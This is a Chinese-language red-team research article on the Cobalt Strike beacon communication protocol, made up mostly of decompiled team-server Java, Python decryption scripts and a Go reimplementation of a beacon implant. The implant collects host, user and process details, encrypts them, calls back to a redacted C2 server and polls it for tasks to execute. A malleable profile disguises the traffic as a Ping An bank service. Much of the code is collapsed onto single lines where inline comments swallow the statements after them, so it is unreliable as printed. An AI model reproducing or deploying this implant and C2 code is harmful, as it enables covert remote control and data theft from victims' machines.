【干货】cobaltstrike通信协议研究
作者简介 /Profile/
罗逸,平安科技银河实验室资深安全研究员,从业7年,专注红蓝对抗研究,擅长免杀技术、目标控制、内网渗透等。

1.1 Beacon的源数据包
public byte[] serve(String var1, String var2, Properties var3, Properties var4) {//获取get请求的远程地址,即http回连的外网地址String var5 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3);//根据profile在get请求中获取rsa加密后的metadata的hexStringString var6 = BeaconHTTP.this.c2profile.recover(".http-get.client.metadata", var3, var4, BeaconHTTP.this.getPostedData(var4), var1);//判断源数据是否有效,加密后的源数据是定长的,始终是128字节if (var6.length() != 0 && var6.length() == 128) {//监听器//var5=回连的外网地址//加密后的元数据字节数组//null//0BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0);if (var7 == null) {MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);return new byte[0];} else {//获取beacon队列任务byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576);//任务队列有任务if (var8.length > 0) {//返回解密的任务数据byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8);return var9;} else {return new byte[0];}}} else {CommonUtils.print_error("Invalid session id");MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);return new byte[0];}}
http-get {set uri "/api/getid";client {header "Accept" "*/*";metadata {base64;prepend "SESSIONID=";header "Cookie";}}server {header "Server" "Pingan Frontend Proxy";header "x-pingan-id" "wwvdT1M01kspYwKlmJIe0delKPUqYiRw6VYJKw9kekjO01FMl2QIStx=";header "X-Frame-Options" "SAMEORIGIN";header "Content-Type" "image/png";output {# mask;base64;prepend ".PNG";print;}}}
GET /api/getid HTTP/1.1Accept: */*Cookie: SESSIONID=WI71wcgrH+kAG/NBYK5qCQ==User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.177
Getheader = req.Header{"Cookie":"SESSIONID=%ENCDATA%","Accept":"*/*","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",}
func HttpGet(url string, encData string) []byte {httpRequest := req.New()for k,v := range config.Getheader{if strings.Contains(v,"%ENCDATA%"){config.Getheader[k] = strings.Replace(v, "%ENCDATA%", encData, -1 )}}resp, err := httpRequest.Get(url, config.Getheader)if err != nil {fmt.Printf("[-] Get http data error: %s\n", err.Error())return nil}defer resp.Response().Body.Close()if resp.Response().StatusCode != http.StatusOK {fmt.Printf("[-] Get http response status code: %s\n", resp.Response().StatusCode)return nil}else {return resp.Bytes()}}
func FirstBlood() bool {encryptedMetaInfo = EncryptedMetaInfo()for {respBytes := HttpGet(config.GetUrl, encryptedMetaInfo)if respBytes != nil {break}time.Sleep(time.Duration(config.Sleep) * time.Millisecond)}return true}
public byte[] decrypt(byte[] var1) {byte[] var2 = new byte[0];try {//rsa解密synchronized(this.cipher) {this.cipher.init(2, this.privatekey);var2 = this.cipher.doFinal(var1);}DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2));int var4 = var3.readInt();if (var4 != 48879) { //对比魔术头 4字节System.err.println("Magic number failed :( [RSA decrypt]");return new byte[0];} else {int var5 = var3.readInt();if (var5 > 117) {//对比metadata数据长度 4字节System.err.println("Length field check failed :( [RSA decrypt]");return new byte[0];} else {byte[] var6 = new byte[var5];var3.readFully(var6, 0, var5);return var6;}}} catch (Exception var8) {MudgeSanity.logException("RSA decrypt", var8, false);return new byte[0];}}
public BeaconEntry process_beacon_metadata(ScListener var1, String var2, byte[] var3, String var4, int var5) {// 先用ts的私钥进行rsa解密byte[] var6 = this.getAsymmetricCrypto().decrypt(var3);if (var6 != null && var6.length != 0) {//byte[] 转 stringString var7 = CommonUtils.bString(var6);//16 globalkey,用来计算beacon task任务需要的AESkey和HashMacString var8 = var7.substring(0, 16);//2 编码相关String var9 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(16, 18)));//2 编码相关String var10 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(18, 20)));String var11 = ""; //回连的listener名称BeaconEntry var12;if (var1 != null) {var11 = var1.getName();} else if (var4 != null) {//父beacon对应的回连的listenervar12 = this.getCheckinListener().resolveEgress(var4);if (var12 != null) {var11 = var12.getListenerName();}}////////////////var6 rsa 解密后的数据//var9 编码相关参数//var2 回连的外网ip//var11 监听器名称//////////////var12 = new BeaconEntry(var6, var9, var2, var11);if (!var12.sane()) {CommonUtils.print_error("Session " + var12 + " metadata validation failed. Dropping");return null;} else {// beaconid//var9 编码相关参数//var10 编码相关参数this.getCharsets().register(var12.getId(), var9, var10);//父beacon不为空,说明是通过父beacon向外连接的if (var4 != null) {//初始化link的父beaconvar12.link(var4, var5);}//将回连Beacon的bid和他的Global key进行绑定this.getSymmetricCrypto().registerKey(var12.getId(), CommonUtils.toBytes(var8));if (this.getCheckinListener() != null) {this.getCheckinListener().checkin(var1, var12);} else {CommonUtils.print_stat("Checkin listener was NULL (this is good!)");}return var12;}} else {CommonUtils.print_error("decrypt of metadata failed");return null;}}
//var1 源数据public BeaconEntry(byte[] var1, String var2, String var3, String var4) {boolean var5;try {DataParser var6 = new DataParser(var1);var6.big();//跳过前20字节(16字节globalkey+2字节ANSI+2字节OEM)var6.consume(20);this.id = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));//bid 4字节this.pid = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));//pid 4字节this.port = Integer.toString(CommonUtils.toUnsignedShort(var6.readShort()));//port 2字节byte var7 = var6.readByte(); //metaDataFlag,用来判断barch的 1字节if (CommonUtils.Flag(var7, 1)) {this.barch = "";this.pid = "";this.is64 = "";} else if (CommonUtils.Flag(var7, 2)) {this.barch = "x64";} else {this.barch = "x86";}this.is64 = CommonUtils.Flag(var7, 4) ? "1" : "0";var5 = CommonUtils.Flag(var7, 8);byte var8 = var6.readByte();//大版本号 1字节byte var9 = var6.readByte();//小版本号 1字节this.ver = var8 + "." + var9;this.build = var6.readShort();//构建号 2字节byte[] var10 = var6.readBytes(4); //gmh_gpa 4字节this.ptr_gmh = var6.readBytes(4); //gmh函数地址 4字节this.ptr_gpa = var6.readBytes(4); //gpa函数地址 4字节if ("x64".equals(this.barch)) {this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh);this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa);}this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh);this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa);var6.little();this.intz = AddressList.toIP(CommonUtils.toUnsignedInt(var6.readInt()));//localip 4字节var6.big();if ("0.0.0.0".equals(this.intz)) {this.intz = "unknown";}} catch (IOException var11) {MudgeSanity.logException("Could not parse metadata!", var11, false);this.sane = false;return;}//上面的从meta data中获取的就是源数据头,是每个beacon回连的源数据都必须的,一共51字节//后续的数据是一个字符串列表包括了机器名、用户名等。String var12 = CommonUtils.bString(Arrays.copyOfRange(var1, 51, var1.length), var2);String[] var13 = var12.split("\t");if (var13.length > 0) {this.comp = var13[0]; //机器名}if (var13.length > 1) {this.user = var13[1]; //用户名}if (var13.length > 2) {if (this.isSSH()) {this.ver = var13[2]; //版本} else {this.proc = var13[2]; //process name}}if (var5) {this.user = this.user + " *"; //是否是管理员用户}this.ext = var3;this.chst = var2;this.lname = var4;this.sane = this.sanity();}
public void registerKey(String var1, byte[] var2) {synchronized(this) {if (keymap.containsKey(var1)) {return;}}try {MessageDigest var3 = MessageDigest.getInstance("SHA-256");byte[] var4 = var3.digest(var2);byte[] var5 = Arrays.copyOfRange(var4, 0, 16);byte[] var6 = Arrays.copyOfRange(var4, 16, 32);Session var7 = new Session();var7.key = new SecretKeySpec(var5, "AES"); //aes keyvar7.hash_key = new SecretKeySpec(var6, "HmacSHA256"); //HMACsynchronized(this) {keymap.put(var1, var7);}} catch (Exception var11) {var11.printStackTrace();}}
'''Beacon元数据'''import binasciiimport hashlibimport M2Cryptoimport base64import hexdumpPRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAJRT8xnRHtWnv2iL3Kqo0s5swaao...rH0+XxA0dI0=-----END RSA PRIVATE KEY-----"""base64_key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"def HexToByte( hexStr ):return bytes.fromhex(hexStr)#encode_data = HexToByte("873b8a747e627424c23a2959b6314905fb3a683401eff8a792774f94c7cf5d4b363fa3cf70a83e86886fbab1eea85bde67aaed95f16dddfa2c76c310ca94f449e7945ba182e1c48a82aeb23adcad007e7a80666cefdad56a8c63a2077abddcd26d20cf962f052f1c7607cc8c5012ba50f126021d978c273edb54ecaf60f744a7")encode_data = base64.b64decode("DltOc8INq7p9Pv+hmkLuhvSAm+wH2RZ7sixOxf6U4+Jr46TAlDNBj06KcXB054BcdMDqp91+KW8R9VF8P49FYa3cPcqgiohmuEbGthjGLzgR3zEaUvuQ7xriMsjgbqNQ1+/2bdqsHYtVBT+GPdddkrquZie7H+LGchaJfTy0wPA=")pubkey = M2Crypto.RSA.load_key_string(PRIVATE_KEY.format(base64_key).encode())ciphertext = pubkey.private_decrypt(encode_data, M2Crypto.RSA.pkcs1_padding)def isFlag(var, flag):return (var & flag) == flagdef toIP(var):var2 = (var & -16777216) >> 24var4 = (var & 16711680) >> 16var6 = (var & 65280) >> 8var8 = var & 255return str(var2) + "." + str(var4) + "." + str(var6) + "." + str(var8)def getName(var0):if var0 == 37:return "IBM037"elif var0 == 437:return "IBM437"elif var0 == 500:return "IBM500"elif var0 == 708:return "ISO-8859-6"elif var0 == 709:return ""elif var0 == 710:return ""elif var0 == 720:return "IBM437"elif var0 == 737:return "x-IBM737"elif var0 == 775:return "IBM775"elif var0 == 850:return "IBM850"elif var0 == 852:return "IBM852"elif var0 == 855:return "IBM855"elif var0 == 857:return "IBM857"elif var0 == 858:return "IBM00858"elif var0 == 860:return "IBM860"elif var0 == 861:return "IBM861"elif var0 == 862:return "IBM862"elif var0 == 863:return "IBM863"elif var0 == 864:return "IBM864"elif var0 == 865:return "IBM865"elif var0 == 866:return "IBM866"elif var0 == 869:return "IBM869"elif var0 == 870:return "IBM870"elif var0 == 874:return "x-windows-874"elif var0 == 875:return "IBM875"elif var0 == 932:return "Shift_JIS"elif var0 == 936:return "x-mswin-936"elif var0 == 949:return "x-windows-949"elif var0 == 950:return "Big5"elif var0 == 1026:return "IBM1026"elif var0 == 1047:return "IBM1047"elif var0 == 1140:return "IBM01140"elif var0 == 1141:return "IBM01141"elif var0 == 1142:return "IBM01142"elif var0 == 1143:return "IBM01143"elif var0 == 1144:return "IBM01144"elif var0 == 1145:return "IBM01145"elif var0 == 1146:return "IBM01146"elif var0 == 1147:return "IBM01147"elif var0 == 1148:return "IBM01148"elif var0 == 1149:return "IBM01149"elif var0 == 1200:return "UTF-16LE"elif var0 == 1201:return "UTF-16BE"elif var0 == 1250:return "windows-1250"elif var0 == 1251:return "windows-1251"elif var0 == 1252:return "windows-1252"elif var0 == 1253:return "windows-1253"elif var0 == 1254:return "windows-1254"elif var0 == 1255:return "windows-1255"elif var0 == 1256:return "windows-1256"elif var0 == 1257:return "windows-1257"elif var0 == 1258:return "windows-1258"elif var0 == 1361:return "x-Johab"elif var0 == 10000:return "x-MacRoman"elif var0 == 10001:return ""elif var0 == 10002:return ""elif var0 == 10003:return ""elif var0 == 10004:return "x-MacArabic"elif var0 == 10005:return "x-MacHebrew"elif var0 == 10006:return "x-MacGreek"elif var0 == 10007:return "x-MacCyrillic"elif var0 == 10008:return ""elif var0 == 10010:return "x-MacRomania"elif var0 == 10017:return "x-MacUkraine"elif var0 == 10021:return "x-MacThai"elif var0 == 10029:return "x-MacCentralEurope"elif var0 == 10079:return "x-MacIceland"elif var0 == 10081:return "x-MacTurkish"elif var0 == 10082:return "x-MacCroatian"elif var0 == 12000:return "UTF-32LE"elif var0 == 12001:return "UTF-32BE"elif var0 == 20000:return "x-ISO-2022-CN-CNS"elif var0 == 20001:return ""elif var0 == 20002:return ""elif var0 == 20003:return ""elif var0 == 20004:return ""elif var0 == 20005:return ""elif var0 == 20105:return ""elif var0 == 20106:return ""elif var0 == 20107:return ""elif var0 == 20108:return ""elif var0 == 20127:return "US-ASCII"elif var0 == 20261:return ""elif var0 == 20269:return ""elif var0 == 20273:return "IBM273"elif var0 == 20277:return "IBM277"elif var0 == 20278:return "IBM278"elif var0 == 20280:return "IBM280"elif var0 == 20284:return "IBM284"elif var0 == 20285:return "IBM285"elif var0 == 20290:return "IBM290"elif var0 == 20297:return "IBM297"elif var0 == 20420:return "IBM420"elif var0 == 20423:return ""elif var0 == 20424:return "IBM424"elif var0 == 20833:return ""elif var0 == 20838:return "IBM-Thai"elif var0 == 20866:return "KOI8-R"elif var0 == 20871:return "IBM871"elif var0 == 20880:return ""elif var0 == 20905:return ""elif var0 == 20924:return ""elif var0 == 20932:return "EUC-JP"elif var0 == 20936:return "GB2312"elif var0 == 20949:return ""elif var0 == 21025:return "x-IBM1025"elif var0 == 21027:return ""elif var0 == 21866:return "KOI8-U"elif var0 == 28591:return "ISO-8859-1"elif var0 == 28592:return "ISO-8859-2"elif var0 == 28593:return "ISO-8859-3"elif var0 == 28594:return "ISO-8859-4"elif var0 == 28595:return "ISO-8859-5"elif var0 == 28596:return "ISO-8859-6"elif var0 == 28597:return "ISO-8859-7"elif var0 == 28598:return "ISO-8859-8"elif var0 == 28599:return "ISO-8859-9"elif var0 == 28603:return "ISO-8859-13"elif var0 == 28605:return "ISO-8859-15"elif var0 == 29001:return ""elif var0 == 38598:return "ISO-8859-8"elif var0 == 50220:return "ISO-2022-JP"elif var0 == 50221:return "ISO-2022-JP-2"elif var0 == 50222:return "ISO-2022-JP"elif var0 == 50225:return "ISO-2022-KR"elif var0 == 50227:return "ISO-2022-CN"elif var0 == 50229:return "ISO-2022-CN"elif var0 == 50930:return "x-IBM930"elif var0 == 50931:return ""elif var0 == 50933:return "x-IBM933"elif var0 == 50935:return "x-IBM935"elif var0 == 50936:return ""elif var0 == 50937:return "x-IBM937"elif var0 == 50939:return "x-IBM939"elif var0 == 51932:return "EUC-JP"elif var0 == 51936:return "GB2312"elif var0 == 51949:return "EUC-KR"elif var0 == 51950:return ""elif var0 == 52936:return "GB2312"elif var0 == 54936:return "GB18030"elif var0 == 57002:return "x-ISCII91"elif var0 == 57003:return "x-ISCII91"elif var0 == 57004:return "x-ISCII91"elif var0 == 57005:return "x-ISCII91"elif var0 == 57006:return "x-ISCII91"elif var0 == 57007:return "x-ISCII91"elif var0 == 57008:return "x-ISCII91"elif var0 == 57009:return "x-ISCII91"elif var0 == 57010:return "x-ISCII91"elif var0 == 57011:return "x-ISCII91"elif var0 == 65000:return ""elif var0 == 65001:return "UTF-8"if ciphertext[0:4] == b'\x00\x00\xBE\xEF':print("ciphertext: ",binascii.b2a_hex(ciphertext))# 16raw_aes_keys = ciphertext[8:24]# 2var9 = ciphertext[24:26]var9 = int.from_bytes(var9, byteorder='little', signed=False)var9 = getName(var9)# 2var10 = ciphertext[26:28]var10 = int.from_bytes(var10, byteorder='little', signed=False)var10 = getName(var10)# 4id = ciphertext[28:32]id = int.from_bytes(id, byteorder='big', signed=False)print("Beacon id:%x"%id)# 4pid = ciphertext[32:36]pid = int.from_bytes(pid, byteorder='big', signed=False)print("pid:{}".format(pid))# 2port = ciphertext[36:38]port = int.from_bytes(port, byteorder='big', signed=False)print("port:{}".format(port))# 1flag = ciphertext[38:39]flag = int.from_bytes(flag, byteorder='big', signed=False)# print(flag)if isFlag(flag, 1):barch = ""pid = ""is64 = ""elif isFlag(flag, 2):barch = "x64"else:barch = "x86"if isFlag(flag, 4):is64 = "1"else:is64 = "0"if isFlag(flag, 8):bypassuac = "True"else:bypassuac = "False"print("barch:" + barch)print("is64:" + is64)print("bypass:" + bypassuac)# 2var_1 = ciphertext[39:40]var_2 = ciphertext[40:41]var_1 = int.from_bytes(var_1, byteorder='big', signed=False)var_2 = int.from_bytes(var_2, byteorder='big', signed=False)windows_var = str(var_1) + "." + str(var_2)print("windows var:" + windows_var)# 2windows_build = ciphertext[41:43]windows_build = int.from_bytes(windows_build, byteorder='big', signed=False)print("windows build:{}".format(windows_build))# 4x64_P = ciphertext[43:47]# 4ptr_gmh = ciphertext[47:51]# 4ptr_gpa = ciphertext[51:55]# if ("x64".equals(this.barch)) {# this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh)# this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa)# }## this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh)# this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa)# 4intz = ciphertext[55:59]intz = int.from_bytes(intz, byteorder='little', signed=False)intz = toIP(intz)if intz == "0.0.0.0":intz = "unknown"print("host:" + intz)if var9 == None:ddata = ciphertext[59:len(ciphertext)].decode("ISO8859-1")else:# ??x-mswin-936# ddata = ciphertext[59:len(ciphertext)].decode(var9)ddata = ciphertext[59:len(ciphertext)].decode("ISO8859-1")ddata = ddata.split("\t")if len(ddata) > 0:computer = ddata[0]if len(ddata) > 1:username = ddata[1]if len(ddata) > 2:process = ddata[2]print("PC name:" + computer)print("username:" + username)print("process name:" + process)raw_aes_hash256 = hashlib.sha256(raw_aes_keys)digest = raw_aes_hash256.digest()aes_key = digest[0:16]hmac_key = digest[16:]print("AES key:{}".format(aes_key.hex()))print("HMAC key:{}".format(hmac_key.hex()))print(hexdump.hexdump(ciphertext))



func MakeMetaInfo() []byte {clientIDBytes := make([]byte, 4)binary.BigEndian.PutUint32(clientIDBytes, uint32(config.ClientID))processID := sysinfo.GetPID()processIDBytes := make([]byte, 4)binary.BigEndian.PutUint32(processIDBytes, uint32(processID))port := 22sshPortBytes := make([]byte, 2)binary.BigEndian.PutUint16(sshPortBytes, uint16(port))metadataFlag := sysinfo.GetMetaDataFlag()flagBytes := make([]byte, 1)flagBytes[0] = byte(metadataFlag)//for OS VersionosVersion := sysinfo.GetOSVersion()osVerSlice := strings.Split(string(osVersion), ".")osMajorVerison := 0osMinorVersion := 0osBuild := 0if len(osVerSlice) == 3 {osMajorVerison, _ = strconv.Atoi(osVerSlice[0])osMinorVersion, _ = strconv.Atoi(osVerSlice[1])osBuild, _ = strconv.Atoi(osVerSlice[2])} else if len(osVerSlice) == 2 {osMajorVerison, _ = strconv.Atoi(osVerSlice[0])osMinorVersion, _ = strconv.Atoi(osVerSlice[1])}majorVerBytes := make([]byte, 1)minorVerBytes := make([]byte, 1)buildBytes := make([]byte, 2)majorVerBytes[0] = byte(osMajorVerison)minorVerBytes[0] = byte(osMinorVersion)binary.BigEndian.PutUint16(buildBytes, uint16(osBuild))ptrGMHGPA := 0ptrGMHGPABytes := make([]byte, 4)binary.BigEndian.PutUint32(ptrGMHGPABytes, uint32(ptrGMHGPA))ptrGMHFuncAddr := 0ptrGMHBytes := make([]byte, 4)binary.BigEndian.PutUint32(ptrGMHBytes, uint32(ptrGMHFuncAddr))ptrGPAFuncAddr := 0ptrGPABytes := make([]byte, 4)binary.BigEndian.PutUint32(ptrGPABytes, uint32(ptrGPAFuncAddr))localIP := sysinfo.GetLocalIPInt()localIPBytes := make([]byte, 4)binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))hostName := sysinfo.GetComputerName()currentUser := sysinfo.GetUsername()OS := sysinfo.GetCurrentOS()osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, OS)osInfoBytes := []byte(osInfo)binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))onlineInfoBytes := util.BytesCombine(clientIDBytes, processIDBytes, sshPortBytes, flagBytes, majorVerBytes, minorVerBytes, buildBytes, ptrGMHGPABytes, ptrGMHBytes, ptrGPABytes, localIPBytes, osInfoBytes)localeANSI := sysinfo.GetCodePageANSI()localeOEM := sysinfo.GetCodePageOEM()metaInfo := util.BytesCombine(config.GlobalKey, localeANSI, localeOEM, onlineInfoBytes)magicNum := sysinfo.GetMagicHead()metaLen := WritePacketLen(metaInfo)packetToEncrypt := util.BytesCombine(magicNum, metaLen, metaInfo)return packetToEncrypt}
func RsaEncrypt(origData []byte) ([]byte, error) {block, _ := pem.Decode([]byte(config.RsaPublicKey))if block == nil {return nil, errors.New("public key error")}pubInterface, err := x509.ParsePKIXPublicKey(block.Bytes)if err != nil {return nil, err}pub := pubInterface.(*rsa.PublicKey)return rsa.EncryptPKCS1v15(rand.Reader, pub, origData)}
var (RsaPublicKey string = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GN...-----END PUBLIC KEY-----"C2 string = "***.**.***.**"Port string = "**"SSL bool = falseSleep int = 2500Jitter int = 500GetPath string = "/api/getid"GetPrepend int = 4GetAppend int = 0PostPath string = "/api/postid?s=1124&d_referer=http%3A%2F%2Fbank.pingan.com"PostPrepend string = ".PNG"PostAppend string = "")
Getheader = req.Header{"Cookie":"SESSIONID=%ENCDATA%","Accept":"*/*","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",}Postheader = req.Header{"Cookie":"JSESSION=%ENCBEACONID%","Content-Type":"image/png","Accept":"*/*","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",}
func FirstBlood() bool {encryptedMetaInfo = EncryptedMetaInfo()//源数据封包并加密for {respBytes := HttpGet(config.GetUrl, encryptedMetaInfo)//http封包并发送if respBytes != nil {break}time.Sleep(time.Duration(config.Sleep) * time.Millisecond)}return true}

1.2 下发Beacon的task数据

BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0); //解析http get返回的源数据if (var7 == null) {MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);return new byte[0];} else {//获取beacon队列任务byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576);//任务队列有任务if (var8.length > 0) {//加密任务数据byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8);return var9;} else {return new byte[0];}}
//var1 bid//var2 task任务数据(taskType+taskBuffer)public byte[] encrypt(String var1, byte[] var2) {try {if (!this.isReady(var1)) {CommonUtils.print_error("encrypt: No session for '" + var1 + "'");return new byte[0];}ByteArrayOutputStream var3 = new ByteArrayOutputStream(var2.length + 1024);DataOutputStream var15 = new DataOutputStream(var3);SecretKey var5 = this.getKey(var1); //获取对应beacon的AESkeySecretKey var6 = this.getHashKey(var1);//获取对应beacon的hashmacvar3.reset();var15.writeInt((int)(System.currentTimeMillis() / 1000L)); //写入时间戳var15.writeInt(var2.length); //写入task任务数据长度var15.write(var2, 0, var2.length);this.pad(var3);Object var7 = null;byte[] var16;synchronized(this.in) {var16 = this.do_encrypt(var5, var3.toByteArray()); //AES加密任务数据}Object var8 = null;byte[] var17;synchronized(this.mac) {this.mac.init(var6);var17 = this.mac.doFinal(var16); //hashmac}ByteArrayOutputStream var9 = new ByteArrayOutputStream();var9.write(var16);//写入加密后的task数据var9.write(var17, 0, 16);//写入hashmacbyte[] var10 = var9.toByteArray();return var10;} catch (InvalidKeyException var13) {MudgeSanity.logException("encrypt failure for: " + var1, var13, false);CommonUtils.print_error_file("resources/crypto.txt");MudgeSanity.debugJava();SecretKey var4 = this.getKey(var1);if (var4 != null) {CommonUtils.print_info("Key's algorithm is: '" + var4.getAlgorithm() + "' ivspec is: " + this.ivspec);}} catch (Exception var14) {MudgeSanity.logException("encrypt failure for: " + var1, var14, false);}return new byte[0];}
public void transform(Profile var1, Response var2, SmartBuffer var3) {Iterator var4 = this.tsteps.iterator();while(var4.hasNext()) {Program.Statement var6 = (Program.Statement)var4.next();String var5;switch(var6.action) {case 1:var3.append(toBytes(var6.argument));//添加append databreak;case 2:var3.prepend(toBytes(var6.argument));//添加prepend databreak;case 3:var5 = Base64.encode(var3.getBytes());//base64编码数据var3.clear();var3.append(toBytes(var5));break;...}}}

'''cobaltstrike任务解密'''import hmacimport binasciiimport base64import structimport hexdumpfrom Crypto.Cipher import AESdef compare_mac(mac, mac_verif):if mac == mac_verif:return Trueif len(mac) != len(mac_verif):"invalid MAC size"return Falseresult = 0for x, y in zip(mac, mac_verif):result |= x ^ yreturn result == 0def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):print("message authentication failed")returncypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)data = cypher.decrypt(encrypted_data)return datadef readInt(buf):return struct.unpack('>L', buf[0:4])[0]#接收到的任务数据encData="0k6lSpOcdzWFzgaXLVIG3KScxMndHJzDRt//TUIqQSgtJdnQHkbXaatrNiizJJrj+9e4q7iHpPnaxEFMfRFluw=="if __name__ == "__main__":#key源自Beacon_metadata_RSA_Decrypt.pySHARED_KEY = binascii.unhexlify("d8cc0d420a3ed27ab0de5033842164b8")HMAC_KEY = binascii.unhexlify("578764fb028cfac24798926181720bd6")enc_data = base64.b64decode(encData)print("数据总长度:{}".format(len(enc_data)))signature = enc_data[-16:]encrypted_data = enc_data[:-16]iv_bytes = bytes("abcdefghijklmnop",'utf-8')dec = decrypt(encrypted_data,iv_bytes,signature,SHARED_KEY,HMAC_KEY)counter = readInt(dec)print("时间戳:{}".format(counter))decrypted_length = readInt(dec[4:])print("任务数据包长度:{}".format(decrypted_length))data = dec[8:len(dec)]print("任务Data")print(hexdump.hexdump(data))# 任务标志Task_Sign=data[0:4]print("Task_Sign:{}".format(Task_Sign))# 实际的任务数据长度Task_file_len = int.from_bytes(data[4:8], byteorder='big', signed=False)print("Task_file:{}".format(Task_file_len))with open('data.bin', 'wb') as f:f.write(data[8:Task_file_len])print(hexdump.hexdump(data[Task_file_len:]))


http-get {set uri "/api/getid";client {header "Accept" "*/*";metadata {base64;prepend "SESSIONID=";header "Cookie";}}server {header "Server" "Pingan Frontend Proxy";header "x-pingan-id" "wwvdT1M01kspYwKlmJIe0delKPUqYiRw6VYJKw9kekjO01FMl2QIStx=";header "X-Frame-Options" "SAMEORIGIN";header "Content-Type" "image/png";output {# mask;base64;prepend ".PNG";print;}}}
o+oyO90IlE+K4pr0d8GbVLZMbra2I4Ty90OHrqeOE/+NXDqos8Wzp2f0Dp9TIrfS

ok := packet.FirstBlood()if ok {for {time.Sleep(time.Duration(config.Sleep) * time.Millisecond)respBytes := packet.PullCommand() //获取http get response数据if respBytes != nil {totalLen := len(respBytes)//返回的数据必须要大于prepend+append的长度if totalLen > config.GetAppend + config.GetPrepend {//respBytes := resp.Bytes()//删除prepend数据if config.GetPrepend !=0 {respBytes = respBytes[config.GetPrepend:]}//删除append数据if config.GetAppend !=0 {respBytes = respBytes[:len(respBytes) - config.GetAppend]}//decode base64decryptBytes, base64Err := base64.StdEncoding.DecodeString(string(respBytes))if base64Err != nil {fmt.Println("Exception: ",base64Err.Error())break}respBytes = decryptBytes//去除HashMacrestBytes := respBytes[:len(respBytes)-crypt.HmacHashLen]//aes解密decrypted,decryptErr := packet.DecryptPacket(restBytes)if decryptErr != nil {fmt.Println("Exception: ",decryptErr.Error())break}//获取task数据的长度lenBytes := decrypted[4:8]packetLen := util.ReadInt(lenBytes)//获取task数据decryptedBuf := bytes.NewBuffer(decrypted[8:])for {if packetLen <= 0 {break}//解析task数据cmdType, cmdBuf, parseErr := packet.ParsePacket(decryptedBuf, &packetLen)//根据命令类型,执行相应操作...}}}}}
1.3 Beacon返回的task任务数据
public byte[] serve(String var1, String var2, Properties var3, Properties var4) {try {String var5 = "";//获取远程地址String var6 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3);//获取post数据String var7 = BeaconHTTP.this.getPostedData(var4);//根据profile在post数据中获取beaconidvar5 = new String(BeaconHTTP.this.c2profile.recover(".http-post.client.id", var3, var4, var7, var1));if (var5.length() == 0) {CommonUtils.print_error("HTTP " + var2 + " to " + var1 + " from " + var6 + " has no session ID! This could be an error (or mid-engagement change) in your c2 profile");MudgeSanity.debugRequest(".http-post.client.id", var3, var4, var7, var1, var6);} else {//根据profile在post数据中获取post databyte[] var8 = CommonUtils.toBytes(BeaconHTTP.this.c2profile.recover(".http-post.client.output", var3, var4, var7, var1));//var5 beaconid//var8 post dataif (var8.length == 0 || !BeaconHTTP.this.controller.process_beacon_data(var5, var8)) {MudgeSanity.debugRequest(".http-post.client.output", var3, var4, var7, var1, var6);}}} catch (Exception var9) {MudgeSanity.logException("beacon post handler", var9, false);}return new byte[0];}
public boolean process_beacon_data(String var1, byte[] var2) {try {DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2));while(var3.available() > 0) {//4 response长度int var4 = var3.readInt(); //5904//检验数据包长度if (var4 > var3.available()) {CommonUtils.print_error("Beacon " + var1 + " response length " + var4 + " exceeds " + var3.available() + " available bytes. [Received " + var2.length + " bytes]");return false;}if (var4 <= 0) {CommonUtils.print_error("Beacon " + var1 + " response length " + var4 + " is invalid. [Received " + var2.length + " bytes]");return false;}byte[] var5 = new byte[var4];var3.read(var5, 0, var4);//var1 beaconid//var5 response数据this.process_beacon_callback(var1, var5);}var3.close();return true;} catch (Exception var6) {MudgeSanity.logException("process_beacon_data: " + var1, var6, false);return false;}}
